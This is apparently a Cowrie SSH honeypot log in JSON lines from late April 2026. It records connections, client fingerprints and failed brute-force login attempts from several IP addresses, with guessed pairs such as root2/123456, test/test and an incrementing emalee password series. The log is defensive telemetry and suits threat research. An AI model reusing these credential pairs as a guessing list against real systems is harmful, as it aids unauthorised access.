{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:51.235228Z","src_ip":"192.109.200.78","session":"f224ee468010","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:51.318141Z","src_ip":"192.109.200.78","session":"f224ee468010","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"123456","message":"login attempt [root2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:51.566232Z","src_ip":"192.109.200.78","session":"f224ee468010","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":60942,"dst_ip":"159.203.135.109","dst_port":22,"session":"3596118b5d87","protocol":"ssh","message":"New connection: 176.65.139.95:60942 (159.203.135.109:22) [session: 3596118b5d87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:51.851108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:52.001227Z","src_ip":"176.65.139.95","session":"3596118b5d87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:52.145276Z","src_ip":"176.65.139.95","session":"3596118b5d87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nPSpP4PBW0","message":"login attempt [root/nPSpP4PBW0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:52.544335Z","src_ip":"176.65.139.95","session":"3596118b5d87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:52.650787Z","src_ip":"192.109.200.78","session":"f224ee468010","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:53.636057Z","src_ip":"176.65.139.95","session":"3596118b5d87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45770,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a8fce75ee79","protocol":"ssh","message":"New connection: 192.109.200.78:45770 (159.203.135.109:22) [session: 3a8fce75ee79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:55.246433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:55.251255Z","src_ip":"192.109.200.78","session":"3a8fce75ee79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:55.333309Z","src_ip":"192.109.200.78","session":"3a8fce75ee79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:55.578612Z","src_ip":"192.109.200.78","session":"3a8fce75ee79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:56.664691Z","src_ip":"192.109.200.78","session":"3a8fce75ee79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":46055,"dst_ip":"159.203.135.109","dst_port":22,"session":"180947248eff","protocol":"ssh","message":"New connection: 213.209.159.159:46055 (159.203.135.109:22) [session: 180947248eff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:56.993529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:56.998972Z","src_ip":"213.209.159.159","session":"180947248eff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:57.081238Z","src_ip":"213.209.159.159","session":"180947248eff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"emalee","password":"emalee","message":"login attempt [emalee/emalee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:57.483205Z","src_ip":"213.209.159.159","session":"180947248eff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"emalee","password":"emalee1","message":"login attempt [emalee/emalee1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:58.572373Z","src_ip":"213.209.159.159","session":"180947248eff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":55174,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9d5c2d21275","protocol":"ssh","message":"New connection: 176.65.139.95:55174 (159.203.135.109:22) [session: a9d5c2d21275]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:58.637827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:58.641978Z","src_ip":"176.65.139.95","session":"a9d5c2d21275","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:58.728980Z","src_ip":"176.65.139.95","session":"a9d5c2d21275","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"user2","message":"login attempt [user2/user2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:59.004349Z","src_ip":"176.65.139.95","session":"a9d5c2d21275","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38800,"dst_ip":"159.203.135.109","dst_port":22,"session":"1cfb474da806","protocol":"ssh","message":"New connection: 192.109.200.78:38800 (159.203.135.109:22) [session: 1cfb474da806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:59.526559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:59.531220Z","src_ip":"192.109.200.78","session":"1cfb474da806","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:59.615506Z","src_ip":"192.109.200.78","session":"1cfb474da806","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"emalee","password":"emalee123","message":"login attempt [emalee/emalee123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:59.657629Z","src_ip":"213.209.159.159","session":"180947248eff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345","message":"login attempt [user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:05:59.898156Z","src_ip":"192.109.200.78","session":"1cfb474da806","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:00.097020Z","src_ip":"176.65.139.95","session":"a9d5c2d21275","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"emalee","password":"emalee1234","message":"login attempt [emalee/emalee1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:00.803600Z","src_ip":"213.209.159.159","session":"180947248eff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:00.983645Z","src_ip":"192.109.200.78","session":"1cfb474da806","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"emalee","password":"emalee12345","message":"login attempt [emalee/emalee12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:01.889880Z","src_ip":"213.209.159.159","session":"180947248eff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47502,"dst_ip":"159.203.135.109","dst_port":22,"session":"728a67fec8b7","protocol":"ssh","message":"New connection: 159.203.92.129:47502 (159.203.135.109:22) [session: 728a67fec8b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:02.141008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:02.146881Z","src_ip":"159.203.92.129","session":"728a67fec8b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:02.152797Z","src_ip":"159.203.92.129","session":"728a67fec8b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"MIS","password":"123456","message":"login attempt [MIS/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:02.186181Z","src_ip":"159.203.92.129","session":"728a67fec8b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:02.983551Z","src_ip":"213.209.159.159","session":"180947248eff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:03.196654Z","src_ip":"159.203.92.129","session":"728a67fec8b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38810,"dst_ip":"159.203.135.109","dst_port":22,"session":"6907b155d683","protocol":"ssh","message":"New connection: 192.109.200.78:38810 (159.203.135.109:22) [session: 6907b155d683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:03.434766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:03.486124Z","src_ip":"192.109.200.78","session":"6907b155d683","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:03.711284Z","src_ip":"192.109.200.78","session":"6907b155d683","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:04.274521Z","src_ip":"192.109.200.78","session":"6907b155d683","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":55184,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac7002ff6f4b","protocol":"ssh","message":"New connection: 176.65.139.95:55184 (159.203.135.109:22) [session: ac7002ff6f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:05.176882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:06:05.182435Z","src_ip":"176.65.139.95","session":"ac7002ff6f4b","protocol":"ssh"}
